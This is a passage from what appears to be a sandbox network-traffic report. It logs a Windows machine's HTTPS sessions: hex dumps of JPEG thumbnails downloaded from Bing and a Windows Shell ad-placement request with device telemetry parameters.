(<d'F~09F)xks/i&HE8z4gg}hhG:Z?L{Z{)=>`*s!O;xH6)<Q^iPsJ<~zZF$sFht>_j2:g%@_#A=ZP=zJ:S=h6ST7MXj0:p"+'
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 20 5e c7 a7 af ad 2e d3 d7 3f d6 8c 76 fc 78 a5 41 f3 67 d2 95 c6 20 5f 5f fe bf 5a 53 83 cf a1 22 82 30 bc 74 eb 4e 23 a7 ad 17 01 39 2b c7 6f cb 14 28 03 a9 ce 69 40 1c 1a 30 43 67 a5 34 16 13 69 ee 1b fa 52 e3 0d 93 4a c7 1d 7d a8 c7 52 3d a9 5c 2d 61 31 86 e3 14 74 f7 e6 8c 13 c8 c9 eb 4f f4 23 ff 00 d5 48 68 4c 67 de 80 01 e0 ff 00 f5 e8 51 9e 7f 95 18 f9 b1 c7 4f ad 03 02 be bd 69 31 96 c7 4f ad 38 f3 c1 1d 7d 28 00 74 ed 4e e2 1a 06 72 01 e3 d6 b0 fe 25 4f e4 78 32 f1 89 c0 68 f6 e3 d7 3e f5 be c3 a1 ae 27 e3 b5 d7 d9 bc 0e ea 09 1e 63 e3 eb eb 57 4b 59 26 72 e3 9a 58 79 79 e9 f7 9f 37 ea ce 24 ba 90 8e 85 8f f3 a8 50 1e 73 ce 39 c0 1c 0f f1 a5 b9 39 98 f3 8e 69 54 00 b8 3e dc fe b5 e5 c9 dd 9e fd 25 68 24 4b 19 db 81 93 ea 47 a5 5f b7 55 e3 38 07 Data Ascii: ^.?vxAg __ZS"0tN#9+o(i@0Cg4iRJ}R=\-a1tO#HhLgQOi1O8}(tNr%Ox2h>'cWKY&rXyy7$Ps99iT>%h$KG_U8
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: de a5 4c ee cf 53 ed fe 35 1a 82 0e 41 ea 7f 4a 95 41 f5 39 3d bf 5a e7 3d 6e 84 f6 e7 19 00 82 31 d0 f5 e2 b4 6d 1c 1c 03 ca f7 e2 b3 e2 c1 c1 e0 f4 e3 19 1c fd 6a ec 3f 2e 15 47 19 fc 2a 59 71 d0 d4 b2 60 5b 69 fa 0a d4 b7 00 28 cf 3f 36 31 59 36 5c 90 30 7d 3d bf 5a d3 b7 39 c1 6f af a6 47 bd 43 36 b9 b3 64 3e 75 51 8c 8e 3a d6 e5 99 50 80 8f 5c f2 31 cd 61 d9 8c 28 24 f2 70 7a 73 5b 36 59 08 01 3f 9f f8 d6 32 35 8a b1 bb a7 67 6a 91 f8 d6 de 96 32 de 8d 58 5a 66 0c 63 3f 5a da d3 0f fa 47 3d 38 e4 57 2c cd 62 6e da 71 d0 f1 8a d1 89 8e d0 4f 4e 95 9b 67 8e 4d 68 5a 9c 2f 1c e6 b1 63 ea 5a 64 f9 41 15 13 82 3f 84 f3 56 65 0b f6 70 40 19 06 a0 63 96 c7 7e f5 eb e0 5f ee 8f 1f 1a bf 7a 47 83 f4 a4 00 ee 1f a5 48 40 fc 69 a4 1d c6 bb 8e 31 bd 79 02 91 bb Data Ascii: LS5AJA9=Z=n1mj?.G*Yq`[i(?61Y6\0}=Z9oGC6d>uQ:P\1a($pzs[6Y?25gj2XZfc?ZG=8W,bnqONgMhZ/cZdA?Vep@c~_zGH@i1y
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 3f 4c d4 42 39 42 e3 60 e6 9f 30 72 a2 49 27 2b 8d a3 35 25 bb ee 5e 46 2a 25 b7 f9 d5 8f 51 53 60 85 e0 50 9b 0e 54 3f 18 e0 d1 93 d4 d3 63 2c 72 18 60 50 df 78 9c f1 4e e2 b0 bd 3e 9e b4 37 a5 20 2a 78 dd fa d1 91 de 8b 85 98 a4 f7 a3 af a7 14 8c 37 72 28 8c e3 38 a6 02 b7 dd c8 eb 49 ff 00 ea a7 01 d0 d2 28 27 8e 9d a8 25 a1 a3 8e 94 b4 1f bb 46 3b 1a 00 0e 36 e4 73 8a 6e 3d 47 02 9f b4 6e ce de 29 18 7a 51 71 b1 a4 67 f9 d0 40 ed 4f db dc 52 6d cd 2b 88 66 01 e2 97 19 e0 8e 94 ec 65 ba 73 4b b7 9f bd 47 30 58 66 31 cf f2 a6 81 f8 54 bc 73 47 e1 9a 5c c5 58 8f 1d 8f 4a 00 01 a9 f4 7f 9c 52 e6 01 98 f9 a9 36 fa 75 a7 f0 7e b4 75 5e 7f 4a 18 11 ed ca f1 d2 97 69 a7 63 e6 eb 47 03 93 bb fa 52 02 3c 7a 0a 86 e1 a3 8d 0b c8 76 a8 eb 56 08 15 5b 50 b6 13 db Data Ascii: ?LB9B`0rI'+5%^F%QS`PT?c,r`PxN>7 x7r(8I('%F;6sn=Gn)zQqg@ORm+fesKG0Xf1TsG\XJR6u~u^JicGR<zvV[P
2024-11-23 01:55:21 UTC	16065	IN	Data Raw: d2 9e b9 db c8 c7 ad 18 ee 68 b8 ec 34 2e 78 19 f4 e6 91 41 2a 4f 7a 79 5c f1 df d2 83 ca e0 7a 0a 57 0b 0d db fe 1d 28 20 0e 29 d8 cf 38 e9 40 1d cd 2e 61 d8 6f f0 e7 e9 47 5f ad 29 00 b6 7d b1 46 3a 1c d2 e6 0b 00 cd 07 df f4 a5 1f ce 81 e9 f8 51 cc 16 0e 7d fa 52 1c f4 cf 22 97 da 8c 80 d9 db 4b 98 76 13 af 07 f5 a7 63 f2 a0 1c 75 eb 49 d1 72 3b d2 e6 0b 00 f5 1f 85 3b 19 e2 9b 9f 5a 5f af 14 73 0e c0 06 7a 50 56 8e 76 e3 6f 14 51 cc 16 05 3e bd 7d 29 78 a4 63 ed 46 3d 0d 4d c3 95 0a 0e 38 3c 52 ee a4 c7 6e 94 bf 53 47 30 ec 19 3b a8 1f 78 fb d2 93 85 cf 5a 4c e3 8e f4 b9 87 61 7e 94 13 d3 34 99 e9 4a c7 14 73 05 85 a0 e3 a1 e2 91 69 43 77 35 37 0b 00 3f 80 a5 1d ba 52 7f 16 76 d0 71 fe f5 01 61 4f 3d 69 4f 34 dc e3 9e e6 9d d3 19 cd 2e 61 d8 33 ce 68 Data Ascii: h4.xA*Ozy\zW( )8@.aoG_)}F:Q}R"KvcuIr;;Z_szPVvoQ>})xcF=M8<RnSG0;xZLa~4JsiCw57?RvqaO=iO4.a3h
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 60 37 e3 35 2a dc e7 8c e0 8f 7f 4a c3 8e 56 dd 8c 83 c7 7a b4 92 fa f5 3f e7 9a 86 91 69 dc d1 6b 92 5b 1f 37 e1 49 0c ac 1b 8e 49 fc fd fd 6a a4 3f 3e 39 fa d6 9e 91 03 4b 70 a1 53 39 35 94 9a 42 ea 59 b4 59 82 82 78 fc 6a f4 56 33 2c a8 58 7d e3 da ba 1d 1f 40 0f 1f 98 d1 9f 33 1c 67 a5 6b 41 a4 fd 9e 64 91 a1 dd 8e dd 6b 96 55 95 cb 57 39 97 49 11 06 f0 3e 5c 6e fa 55 ed 0a f5 6d a4 2f 10 f9 8f e9 5d 3c da 14 f7 71 8c 40 15 58 8e d8 cd 5a ff 00 84 38 a5 b6 23 88 2c 85 70 0f bd 62 eb 46 c5 58 ca d5 b5 79 ee 34 92 3c d5 c7 f7 7b 9a e5 a3 d5 24 4b ad ee 9b d5 4f 19 ae d5 bc 1b 72 23 1b 86 70 0e 46 6a d6 91 e0 58 24 51 2d c2 61 bd 2a 63 5a 0a e1 63 89 b3 b9 bf d4 6e 86 63 20 37 b1 c7 15 df 78 73 c3 71 6c 8e e6 7c 97 03 23 1c 75 ae 8b 44 f0 ed 9d ac 2a 3c Data Ascii: `75JVz?ik[7IIj?>9KpS95BYYxjV3,X}@3gkAdkUW9I>\nUm/]<q@XZ8#,pbFXy4<{$KOr#pFjX$Q-acZcnc 7xsql\|#uD*<
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: b7 ec f1 4e a1 a4 70 ac ca d8 5f d0 f5 1d 2b 95 57 a9 4e 4d 5a e8 df 93 9e 57 66 57 85 bc 37 74 96 2a 75 3b b6 66 2e 37 08 f3 83 f5 cf 38 cf e7 5d d4 7a 48 9e c0 41 06 ab 24 07 96 18 50 79 3e a0 9e 87 af 5a b7 a1 da da ea 72 cd 60 a0 a4 91 86 08 c7 27 25 4e 0e 7d 47 1d eb 1b 57 37 7a 6a 11 1b 79 6c 1f 95 0a 30 78 e9 d7 a8 e4 d7 3c a7 29 34 d9 d6 a9 c6 11 d3 63 9f d7 3e 1c 6b 92 df 49 73 67 ae da c8 41 dc 23 96 1d 8c 49 eb 86 04 8e 4f 1d ab 2b 50 f0 0f 88 21 b7 06 f7 48 2d 32 36 e1 3d b8 2f df a9 0b 9c 8e f9 02 ba 9f ed 2b 86 dd 34 d7 d7 2a b2 26 d1 e6 46 1a 33 ee 08 e7 3f d6 b2 b5 6f 1e 3e 8b ab 33 ff 00 6b df 98 ca 05 f2 a3 80 32 82 7d b1 d4 56 8a a5 5b 59 18 4e 9d 1d f6 31 35 2f 0f f8 be 1b 88 c5 b4 42 20 40 24 a1 31 a8 3d 89 18 1f fd 7a 74 fa 3f 8a ef Data Ascii: Np_+WNMZWfW7tu;f.78]zHA$Py>Zr`'%N}GW7zjyl0x<)4c>kIsgA#IO+P!H-26=/+4&F3?o>3k2}V[YN15/B @$1=zt?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49748	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:21 UTC	346	OUT	GET /th?id=OADD2.10239399230515_1O5S4SCQK1NL15G8R&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:21 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 458228 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 11CBAE4C3C864352B0FA283A50A3DEC5 Ref B: EWR311000105023 Ref C: 2024-11-23T01:55:21Z Date: Sat, 23 Nov 2024 01:55:20 GMT Connection: close
2024-11-23 01:55:21 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 36 20 30 39 3a 35 35 3a 32 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:06 09:55:298C
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 24 01 d8 67 a8 18 a8 71 35 44 5c 32 e0 be 5b a6 00 c6 3e a0 f6 14 36 03 80 7a 0f 4f cb a7 a6 6a 42 14 2e 09 c0 20 8e 3a fd 69 ac 7e 61 84 25 8f 3d 3a fb f3 50 d1 6a 56 1b 20 c7 ca 7e 87 00 77 e8 29 be 48 e4 1c b0 39 27 9c 7b 7f 93 52 c7 f7 81 00 8c f2 40 e4 01 db 3e c6 93 61 eb 9c 1e c4 f7 fa 56 4e 2c 2e 47 b4 06 19 1d 08 c6 7f cf ad 23 0d d8 cf 39 3c 0f 71 53 b0 cb 96 18 38 18 3b ff 00 98 c7 b7 a5 18 09 c6 54 00 71 8c 74 1f d3 34 72 9a 73 68 55 08 19 97 23 6e 3a 73 91 c1 c7 3d ba d4 98 f9 72 31 86 6c 7c bd f3 fa 0a 93 03 78 ef f4 e9 91 4a 57 83 b4 02 40 ef 9e a4 f7 fc 3f 5a 56 05 22 0d 80 ee 2a 30 7b e0 fe 1d 79 fc a8 4d e6 4c 31 38 07 8c f6 e3 8e bc d4 ad f7 f0 06 d0 17 23 81 f9 03 de 94 6e 2a 08 38 1b 49 f4 e7 91 4e c5 a9 11 bc 4a 17 a8 2a 78 23 00 64 Data Ascii: $gq5D\2[>6zOjB. :i~a%=:PjV ~w)H9'{R@>aVN,.G#9<qS8;Tqt4rshU#n:s=r1l\|xJW@?ZV"0{yML18#n8INJ*x#d
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 83 9c 63 1f 5a b0 d1 b3 30 3d 33 8f a1 ff 00 0a 3c bc b8 07 e6 39 f5 cf f9 fa 53 22 c6 75 c2 04 c1 24 13 df d8 9f 7f 6f ca 9c ae 42 83 83 d7 9e ff 00 43 f4 ab 4d 10 2e 43 00 32 42 9f 43 9a 63 44 77 7c c8 01 ea 71 c7 f9 fa 55 5c 0a ce 64 31 67 77 2b 8c 64 11 9a 32 a2 40 ad b4 91 d7 1f 8f f4 a9 67 8f 8e a0 9e b9 39 fc b8 a6 32 32 e0 10 06 72 71 f8 70 73 f5 e2 81 82 15 0a 14 fd d2 06 32 7a 0e ff 00 9d 36 34 c6 14 be 7e 5e d9 ef db ff 00 af 4e f2 b0 a8 98 c6 32 4f 41 40 da 31 8e 55 71 e9 c1 fa fb 50 04 8a 54 60 67 6e 41 1f 77 bf 5c 50 bb 9b 61 01 88 dd 93 9e e7 fc fa f1 4c c8 db 93 9c 12 0e 70 08 eb de 9d b5 8b 8f 94 92 0e 30 b9 23 03 f2 a0 2c 48 49 31 90 c3 27 3d 7d fa 7f 9c 52 ab e3 e4 f9 97 9f ae 7f cf ad 47 9c a8 40 46 73 80 3e 87 bd 0e 3e 62 08 24 f3 da Data Ascii: cZ0=3<9S"u$oBCM.C2BCcDw\|qU\d1gw+d2@g922rqps2z64~^N2OA@1UqPT`gnAw\PaLp0#,HI1'=}RG@Fs>>b$
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: c1 39 f4 e7 e8 29 f1 85 20 30 3c 77 3e 94 2a 1d c3 6e 33 df 3e 95 2c 29 d3 1c 83 91 f8 f6 cf e1 5c f2 67 44 50 28 c9 f4 e3 69 23 9e 7d aa 71 18 2d 90 36 e0 e3 d0 d2 44 9d 31 c6 71 c7 d0 74 fa 54 d1 80 70 31 90 47 35 cd 51 9d 11 08 c1 38 18 c0 c8 38 cf 35 2a 0d cd d0 00 3d bd e9 36 83 81 91 91 d7 9c 54 ca 30 c1 47 cd 8c 73 d2 b9 e4 6f 11 62 19 c9 d9 93 e8 45 58 85 54 a8 5c e7 bf 03 b5 47 12 e5 79 e4 f4 23 1d 4d 4d 18 3b 86 54 8e b9 35 cf 23 a2 24 89 82 b9 cf 1d fd b1 53 60 74 19 cf e1 d2 a3 50 46 df a7 03 db d6 a6 88 76 ea 39 c9 fa 57 3c 8e 88 92 2a 80 a4 90 72 3a 01 f4 a9 90 0e e0 f1 cd 33 82 d8 27 3e ff 00 4a 93 93 8c 1c 7a fb 1a e7 92 b9 a4 5d 89 57 01 40 23 93 82 71 52 a8 05 c9 1d cf 1f 85 46 98 db cf 03 ae 3e b5 2c 78 1c 11 d0 7d 2b 19 45 9a 73 0f 5e Data Ascii: 9) 0<w>n3>,)\gDP(i#}q-6D1qtTp1G5Q885=6T0GsobEXT\Gy#MM;T5#$S`tPFv9W<*r:3'>Jz]W@#qRF>,x}+Es^
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 81 05 84 80 b6 08 19 e3 27 bd 70 70 78 89 63 50 51 72 14 8e 49 23 19 f4 a1 fc 4b 33 b8 21 0e e2 70 79 23 93 db 1d 29 ac 44 22 ac 5d 48 ca a4 84 f8 c9 a2 cb 7d a2 3b c3 13 33 c5 86 01 13 76 70 7a 1c 57 8f e8 7a 35 c4 b7 4e be 59 46 40 59 83 29 1c 0e e3 35 ee cd aa 07 b5 c9 dc 01 c6 7e 6e a7 a6 7d 2b 3a 19 a3 13 6f 19 23 3c 07 00 8a e7 c4 56 55 12 e5 d0 cf 0f 85 50 94 a4 f7 67 0d e1 bd 45 ec 98 84 1c 1c f0 47 00 7e 1e ff 00 ad 52 f1 f5 d4 97 63 f7 88 51 80 ca 8e c7 23 af e9 5e 9d 24 d6 4d 90 e9 1b af 4d af 10 3d f9 e9 d6 ab 6a 96 5a 05 fa 79 77 5a 7d ab 01 85 2e a4 a9 e4 7e 75 c5 0a 4d 4e e1 3c 2c 27 25 26 f5 3c c6 d7 5f 86 e7 c2 b1 e9 17 71 87 6b 79 cc b0 c8 3a a8 60 01 5c fa 70 3b d6 9f c1 eb cb 8b 2f 16 79 96 f2 11 24 a8 d1 ae 30 72 5b 80 07 d0 d7 51 27 Data Ascii: 'ppxcPQrI#K3!py#)D"]H};3vpzWz5NYF@Y)5~n}+:o#<VUPgEG~RcQ#^$MM=jZywZ}.~uMN<,'%&<_qky:`\p;/y$0r[Q'
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 9c f3 82 38 e3 a5 63 cb 33 b3 01 e5 e7 bf 4e 72 2b ea 6f 14 fc 38 d3 75 7f 0c b6 8f 21 c7 94 4b 5a ce 4e 59 18 f2 41 ee 41 c9 fc 6b e7 9f 16 78 63 50 f0 c6 b0 f6 1a c5 bb c2 c0 9f 2e 61 92 8e bd 88 6f 4c 76 af 98 cc 70 55 61 27 5b 74 f7 f2 67 b9 96 d7 a7 18 ac 3e dc a9 25 e6 8e 75 ae e4 31 ee 68 ff 00 dd 38 e3 eb f9 54 b6 d3 bd d5 b8 89 46 24 53 c6 7b e0 7a 54 b7 16 b8 00 9c 6d 3d 38 c6 7d a9 b2 44 a5 96 78 b0 19 78 00 72 4e 3b 1a f2 ee cf 66 d7 46 64 8f 74 97 81 95 19 08 6c 87 19 18 e3 19 fe 95 69 15 a4 c9 74 39 c6 78 e0 9e e2 af de a3 bf 97 2c 79 21 b8 2a 47 3b 71 52 24 38 da 00 c8 3f 78 e3 af 3d 2b 4f 67 e6 4f 31 02 44 a7 71 c6 48 e3 03 8e 95 af 61 e6 49 63 10 25 b0 99 e0 f3 8e e3 ad 55 48 08 56 df ce 47 61 ef 5a de 18 42 f3 49 11 1f 29 01 87 3d c7 1f Data Ascii: 8c3Nr+o8u!KZNYAAkxcP.aoLvpUa'[tg>%u1h8TF$S{zTm=8}DxxrN;fFdtlit9x,y!*G;qR$8?x=+OgO1DqHaIc%UHVGaZBI)=
2024-11-23 01:55:21 UTC	16384	IN	Data Raw: 2a 46 7e 5e 7f 5a 4c 80 bc 74 e3 a7 5a 07 dd e7 dc 60 7f f5 a9 0a e3 95 89 e7 3d 4f 27 1f a5 20 00 af 1b 88 3d bf 9d 20 39 e4 03 91 fa d2 64 8e f8 c9 a0 2e 2a 8c 64 9e fd 3d bf 0a 52 3e 50 73 f2 8a 62 1f 93 9e a7 8f ad 2e 4f d3 b7 b7 3d a9 b1 a6 29 c0 e0 e4 0f f2 29 ac 18 a1 38 07 8c 63 bd 29 03 19 1c 74 06 95 46 7b e0 63 ae 29 14 c6 28 24 7e 1f e7 f0 a1 88 0b f5 fc bd 29 dc 9e 87 23 a5 2b e7 a0 27 d6 81 22 36 c1 6c 8d c1 87 5e 09 a6 b2 90 db 0e ec 67 a7 f5 a9 47 1d 46 07 3d 4f 3f 95 34 85 db 92 71 d8 9e fc d0 32 3e 99 07 92 0f 7a 69 18 62 73 c8 cf eb 52 30 c2 f1 91 eb 9f e5 4d 60 0f 21 88 19 e3 23 02 a8 8b 11 cc 09 e0 f3 c0 cf 39 a3 6f ce 7e 7c 1a 73 00 14 13 91 82 69 0e 76 f3 bb 8c 9f 5a 04 33 6e 1b 76 0f 1e b4 d2 3a 1c 60 91 9f ae 2a 49 00 0b d3 82 33 Data Ascii: F~^ZLtZ`=O' = 9d.d=R>Psb.O=))8c)tF{c)($~)#+'"6l^gGF=O?4q2>zibsR0M`!#9o~\|sivZ3nv:`*I3
2024-11-23 01:55:22 UTC	16069	IN	Data Raw: 0c 64 0e 80 1a cc b7 c8 01 7b 74 c8 ad 0b 33 85 e7 8c e7 34 a3 f1 22 65 f0 b2 85 c8 0d 21 63 f4 fc 6a 31 f2 60 e4 64 9c 91 eb 53 5d 06 32 1d c7 bd 44 47 cb 8e a4 67 35 f4 74 dd e0 8f 9b 96 92 63 46 37 75 f7 a3 25 ba b6 1b be 38 14 2e 4f 1e 94 ec 10 c3 ef 76 e3 e9 e9 5a 0a c3 40 da d8 ea dd 7f fd 74 b8 ec 7d c7 4a 00 3d 31 92 7a e2 83 bb 8c 9e 3d 7e 9e d4 98 74 11 8e 30 46 73 4b 8f 9b f1 ef 47 6c 1e a7 ad 1d 78 f5 ef f4 a4 34 34 80 13 07 a7 af 53 49 b7 3d 30 49 cd 38 f3 c8 39 19 fd 68 ef 90 0f 1d 71 54 03 78 0d c1 fa ff 00 93 48 7d 4f 3f d3 34 e6 c9 50 47 41 fc a9 39 c6 7a fb ff 00 9f 4a 04 c5 07 e5 c1 ef c6 69 00 5d b9 03 03 8e 4f 5a 18 67 3c fe 9c e6 95 3a f1 c1 3d b1 40 c4 fe 1e d8 1d fd 3d e8 6f 52 de c4 8f d2 95 81 2b fe 3c 52 30 f9 40 dd 8c 50 0c 00 Data Ascii: d{t34"e!cj1`dS]2DGg5tcF7u%8.OvZ@t}J=1z=~t0FsKGlx44SI=0I89hqTxH}O?4PGA9zJi]OZg<:=@=oR+<R0@P
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: fc 0d 54 0a 4a 91 f3 73 f5 cd 59 b7 c8 50 40 e7 3f 9d 48 cd 3b 76 f9 71 83 ce 6a 44 5c f3 d3 1d aa 08 08 0a 01 ed fe 15 61 7e ee 38 c7 d2 bb 30 7b b3 83 1b aa 43 76 67 91 d6 86 8f 39 07 eb 4e cf a1 f9 b3 8c 9a 33 9e 7f fd 5f 5a f4 0f 3d 24 33 67 c9 90 79 cf e5 40 5f 50 c3 1e f5 26 73 d4 fb 73 48 d8 dd 93 d6 95 c2 c3 08 3b f0 3a 9e d4 6c 21 70 70 69 ca dd 49 eb 9c e2 8e ad d3 9f 5f e9 4e ec 06 18 f0 b8 fc c7 ad 37 6e 7b 73 8e 9e 95 23 10 17 1f 8f 14 d1 c7 51 da 81 31 ac 33 c6 de 00 e9 40 1d 87 7e f4 e5 cf 39 1c 1f 43 4a c3 0b cf e1 ed 40 11 11 e8 3a 50 54 74 1e b4 f0 38 1c d2 b7 7c 0e 3a 71 4e e0 46 06 78 3e 9d a9 32 37 71 c1 03 a7 af a5 3f 1f 2f 60 7b 9a 18 28 60 4f 23 d7 ad 3b 8a c4 58 f9 72 3f 3a 52 a4 e3 18 fe b4 f2 32 be f4 83 b6 3d 78 a2 e2 b0 d5 e5 Data Ascii: TJsYP@?H;vqjD\a~80{Cvg9N3_Z=$3gy@_P&ssH;:l!ppiI_N7n{s#Q13@~9CJ@:PTt8\|:qNFx>27q?/`{(`O#;Xr?:R2=x
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: 9e e7 26 8c 01 90 7b 8a 5c 92 bc f1 ec 69 30 76 9c 6e fc 3f 95 03 10 9c 37 a7 4c 52 81 85 ce 78 cd 2e de c4 e3 3e 86 8c 03 9f 9a 8b 89 80 cf 03 d7 93 9a 07 bf 42 28 c6 79 3b b9 19 a0 80 79 ef 8e 94 c2 c0 bf 89 34 bc 8e dc 76 34 60 f4 38 cd 3d 7d 0f 4f 4a 57 18 d0 3e 6e c7 f0 a0 f2 d9 3f 8d 2e 30 c0 0e d4 bf c5 8e df 5a 00 68 fb a4 1c fa d0 3e ee 38 e2 9c a0 0c 83 eb c8 a7 04 03 38 e7 d7 14 5c 06 0c f4 f5 a7 a9 f4 fc 68 c0 ec 78 3d e8 5c f7 e2 8b 80 be e7 bd 1b 70 d9 1f ca 8e bc 76 a5 1f 74 75 a4 31 bb 7e 60 7b 75 a5 c0 fa 9f 7a 51 9e 9d a8 e4 f1 c1 a2 e2 0c 7c d9 38 e6 83 8e 83 9e 31 40 f9 57 9e b4 a0 f6 18 f5 a0 04 e0 71 80 00 ed 41 5e df 95 38 11 dc 70 29 14 7c a0 76 a0 06 32 2b 7c bb 47 e3 48 b0 a1 39 1c 74 ce 05 4b c8 e0 9e bc 73 51 f9 c8 18 e5 c0 3c Data Ascii: &{\i0vn?7LRx.>B(y;y4v4`8=}OJW>n?.0Zh>88\hx=\pvtu1~`{uzQ\|81@WqA^8p)\|v2+\|GH9tKsQ<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49749	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:21 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015518Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a10935dcb12b419ea74ceeed8eedab39&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338387&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=530911393,531174684,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: xXqcPXnFSkyQ2Zvx.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: 